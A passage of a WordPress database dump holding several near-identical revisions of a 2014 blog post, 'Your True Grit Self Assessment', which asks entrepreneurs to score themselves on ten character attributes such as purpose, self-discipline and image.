(2565, 2, '2014-01-27 12:46:13', '2014-01-27 19:46:13', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\n\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\n\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\n\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\n\nTake a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.\n\nReady… go…\n\n<strong>1) PURPOSE</strong>\nHow clear are you on the reason, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\n\n<strong>2) ENTHUSISAM</strong>\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\n\n<strong>3) PREPARATION</strong>\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\n\n<strong>4) SELF-CONFIDENCE</strong>\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\n\n<strong>5) SELF-DISCIPLINE</strong>\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\n\n<strong>6) SELF-RELIANCE</strong>\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\n\n<strong>7) EXPERTISE</strong>\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\n\n<strong>8) EXTRAORDINARY PERFORMANCE</strong>\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\n\n<strong>9) IMAGE</strong>\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\n\n<strong>10) CHARACTER</strong>\nAre you a person of honesty and integrity walking your talk, keeping your promises?\n\nNow add up your score. How do feel about your current level of true grit?\n\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\n\n<em>Full disclosure on this post… The idea for the ten attributes above comes from an old Jim Rohn CD that I’ve had for many years. One of the great teachers on business and life success, he was famous for saying “you might want to write this down”. Of course I did. And by the way, my true grit score at this writing is 85.</em>\n\n<em> If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision', '', '', '2014-01-27 12:46:13', '2014-01-27 19:46:13', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision/', 0, 'revision', '', 0),
(2566, 2, '2014-01-27 12:46:40', '2014-01-27 19:46:40', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\r\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\r\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\r\n\r\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\r\n\r\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\r\n\r\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\r\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\r\nReady… go…\r\n\r\n<strong>1) PURPOSE</strong>\r\nHow clear are you on the reason, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\r\n\r\n<strong>2) ENTHUSISAM</strong>\r\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\r\n\r\n<strong>3) PREPARATION</strong>\r\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\r\n\r\n<strong>4) SELF-CONFIDENCE</strong>\r\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\r\n\r\n<strong>5) SELF-DISCIPLINE</strong>\r\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\r\n\r\n<strong>6) SELF-RELIANCE</strong>\r\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\r\n\r\n<strong>7) EXPERTISE</strong>\r\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\r\n\r\n<strong>8) EXTRAORDINARY PERFORMANCE</strong>\r\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\r\n\r\n<strong>9) IMAGE</strong>\r\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\r\n\r\n<strong>10) CHARACTER</strong>\r\nAre you a person of honesty and integrity walking your talk, keeping your promises?\r\n\r\nNow add up your score. How do feel about your current level of true grit?\r\n\r\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\r\n\r\n<em>Full disclosure on this post… The idea for the ten attributes above comes from an old Jim Rohn CD that I’ve had for many years. One of the great teachers on business and life success, he was famous for saying “you might want to write this down”. Of course I did. And by the way, my true grit score at this writing is 85.</em>\r\n\r\n<em> If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-2', '', '', '2014-01-27 12:46:40', '2014-01-27 19:46:40', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-2/', 0, 'revision', '', 0),
(2567, 2, '2014-01-27 12:46:52', '2014-01-27 19:46:52', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\r\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\r\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\r\n\r\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\r\n\r\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\r\n\r\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\r\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\r\nReady… go…\r\n\r\n<strong>1) PURPOSE</strong>\r\nHow clear are you on the reason, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\r\n\r\n<strong>2) ENTHUSISAM</strong>\r\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\r\n\r\n<strong>3) PREPARATION</strong>\r\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\r\n\r\n<strong>4) SELF-CONFIDENCE</strong>\r\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\r\n\r\n<strong>5) SELF-DISCIPLINE</strong>\r\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\r\n\r\n<strong>6) SELF-RELIANCE</strong>\r\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\r\n\r\n<strong>7) EXPERTISE</strong>\r\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\r\n\r\n<strong>8) EXTRAORDINARY PERFORMANCE</strong>\r\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\r\n\r\n<strong>9) IMAGE</strong>\r\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\r\n\r\n<strong>10) CHARACTER</strong>\r\nAre you a person of honesty and integrity walking your talk, keeping your promises?\r\n\r\nNow add up your score. How do feel about your current level of true grit?\r\n\r\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\r\n\r\n<em>Full disclosure on this post… The idea for the ten attributes above comes from an old Jim Rohn CD that I’ve had for many years. One of the great teachers on business and life success, he was famous for saying “you might want to write this down”. Of course I did. And by the way, my true grit score at this writing is 85.</em>\r\n\r\n<em> If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-3', '', '', '2014-01-27 12:46:52', '2014-01-27 19:46:52', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-3/', 0, 'revision', '', 0),
(2569, 2, '2014-01-27 12:55:24', '2014-01-27 19:55:24', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\n\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\n\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\n\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\nReady… go…\n\n<strong>1- PURPOSE</strong>\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\n\n<strong>2- ENTHUSISAM</strong>\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\n\n<strong>3- PREPARATION</strong>\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\n\n<strong>4- SELF-CONFIDENCE</strong>\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\n\n<strong>5- SELF-DISCIPLINE</strong>\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\n\n<strong>6- SELF-RELIANCE</strong>\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\n\n<strong>7- EXPERTISE</strong>\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\n\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\n\n<strong>9- IMAGE</strong>\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\n\n<strong>10- CHARACTER</strong>\nAre you a person of honesty and integrity walking your talk, keeping your promises?\n\nNow add up your score. How do feel about your current level of true grit?\n\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\n\n<em>Full disclosure on this post…  my true grit score at this writing is 85. Anything below 75 and I start to take appropriate action.\n</em>\n\n<em> If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-5', '', '', '2014-01-27 12:55:24', '2014-01-27 19:55:24', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-5/', 0, 'revision', '', 0),
(2570, 2, '2014-01-27 12:59:35', '2014-01-27 19:59:35', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\n\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\n\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\n\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\nReady… go…\n\n<strong>1- PURPOSE</strong>\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\n\n<strong>2- ENTHUSISAM</strong>\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\n\n<strong>3- PREPARATION</strong>\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\n\n<strong>4- SELF-CONFIDENCE</strong>\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\n\n<strong>5- SELF-DISCIPLINE</strong>\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\n\n<strong>6- SELF-RELIANCE</strong>\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\n\n<strong>7- EXPERTISE</strong>\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\n\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\n\n<strong>9- IMAGE</strong>\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\n\n<strong>10- CHARACTER</strong>\nAre you a person of honesty and integrity walking your talk, keeping your promises?\n\nNow add up your score. How do feel about your current level of true grit?\n\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\n\n<em>Full disclosure on this post…  my true grit score at this writing is 85. Anything below 75 and I start to take appropriate action.\n</em>\n\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-6', '', '', '2014-01-27 12:59:35', '2014-01-27 19:59:35', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-6/', 0, 'revision', '', 0),
(2571, 2, '2014-01-27 13:00:56', '2014-01-27 20:00:56', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\n\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\n\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\n\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\nReady… go…\n\n<strong>1- PURPOSE</strong>\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\n\n<strong>2- ENTHUSISAM</strong>\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\n\n<strong>3- PREPARATION</strong>\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\n\n<strong>4- SELF-CONFIDENCE</strong>\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\n\n<strong>5- SELF-DISCIPLINE</strong>\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\n\n<strong>6- SELF-RELIANCE</strong>\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\n\n<strong>7- EXPERTISE</strong>\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\n\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\n\n<strong>9- IMAGE</strong>\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\n\n<strong>10- CHARACTER</strong>\nAre you a person of honesty and integrity walking your talk, keeping your promises?\n\nNow add up your score. How do feel about your current level of true grit?\n\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\n\n<em>Full disclosure on this post…  my true grit score at this writing is 85. Anything below 75 and I start to take appropriate action.\n</em>\n\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center directly.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-7', '', '', '2014-01-27 13:00:56', '2014-01-27 20:00:56', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-7/', 0, 'revision', '', 0),
(2572, 2, '2014-01-27 13:03:10', '2014-01-27 20:03:10', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\r\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\r\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\r\n\r\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\r\n\r\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\r\n\r\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\r\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\r\nReady… go…\r\n\r\n<strong>1- PURPOSE</strong>\r\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\r\n\r\n<strong>2- ENTHUSISAM</strong>\r\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\r\n\r\n<strong>3- PREPARATION</strong>\r\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\r\n\r\n<strong>4- SELF-CONFIDENCE</strong>\r\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\r\n\r\n<strong>5- SELF-DISCIPLINE</strong>\r\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\r\n\r\n<strong>6- SELF-RELIANCE</strong>\r\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\r\n\r\n<strong>7- EXPERTISE</strong>\r\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\r\n\r\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\r\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\r\n\r\n<strong>9- IMAGE</strong>\r\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\r\n\r\n<strong>10- CHARACTER</strong>\r\nAre you a person of honesty and integrity walking your talk, keeping your promises?\r\n\r\nNow add up your score. How do feel about your current level of true grit?\r\n\r\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\r\n\r\n<em>Full disclosure on this post…  my true grit score at this writing is 85. Anything below 75 and I start to take appropriate action.\r\n</em>\r\n\r\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center directly.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-8', '', '', '2014-01-27 13:03:10', '2014-01-27 20:03:10', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-8/', 0, 'revision', '', 0),
(2573, 2, '2014-01-27 13:15:34', '2014-01-27 20:15:34', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\n\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\n\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\n\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\nReady… go…\n\n<strong>1- PURPOSE</strong>\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\n\n<strong>2- ENTHUSISAM</strong>\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\n\n<strong>3- PREPARATION</strong>\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\n\n<strong>4- SELF-CONFIDENCE</strong>\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\n\n<strong>5- SELF-DISCIPLINE</strong>\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\n\n<strong>6- SELF-RELIANCE</strong>\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\n\n<strong>7- EXPERTISE</strong>\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\n\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\n\n<strong>9- IMAGE</strong>\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\n\n<strong>10- CHARACTER</strong>\nAre you a person of honesty and integrity walking your talk, keeping your promises?\n\nNow add up your score. How do feel about your current level of true grit?\n\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\n\n<em>Full disclosure on this post…  my true grit score at this writing is 85.  I''m satisfied when I am 90+, anything below 75 and I start to take appropriate action.\n</em>\n\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center directly.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-9', '', '', '2014-01-27 13:15:34', '2014-01-27 20:15:34', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-9/', 0, 'revision', '', 0);
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(2574, 2, '2014-01-27 13:19:58', '2014-01-27 20:19:58', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\r\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\r\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\r\n\r\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\r\n\r\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\r\n\r\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\r\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\r\nReady… go…\r\n\r\n<strong>1- PURPOSE</strong>\r\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your 